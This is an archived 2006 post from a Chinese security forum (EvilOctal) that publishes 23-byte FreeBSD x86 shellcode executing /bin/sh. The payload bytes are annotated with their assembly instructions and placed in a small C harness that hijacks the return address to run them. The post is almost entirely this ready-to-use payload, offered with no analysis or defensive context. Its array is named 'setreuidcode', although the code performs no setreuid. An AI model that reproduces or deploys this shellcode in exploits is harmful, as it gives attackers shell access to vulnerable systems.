邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2006-4-15 17:25

freebsd/x86 execve /bin/sh 23 bytes

文章作者:IZ

[code]/*

*
* FreeBSD_x86-execve_sh-23b-iZ.c (Shellcode, execve /bin/sh, 23 bytes)
*
* by IZ <guerrilla.sytes.net>
*
*/


char setreuidcode[] =

"\x31\xc0"            /* xor %eax,%eax */
"\x50"               /* push %eax */
"\x68\x2f\x2f\x73\x68"    /* push $0x68732f2f (//sh) */
"\x68\x2f\x62\x69\x6e"    /* push $0x6e69622f (/bin)*/

"\x89\xe3"            /* mov %esp,%ebx */
"\x50"               /* push %eax */
"\x54"               /* push %esp */
"\x53"               /* push %ebx */

"\x50"               /* push %eax */
"\xb0\x3b"            /* mov $0x3b,%al */
"\xcd\x80";            /* int $0x80 */


void main()
{
    int*    ret;      

    ret = (int*) &ret + 2;

    printf("len %d\n",strlen(setreuidcode));

    (*ret) = (int) setreuidcode;
} [/code]

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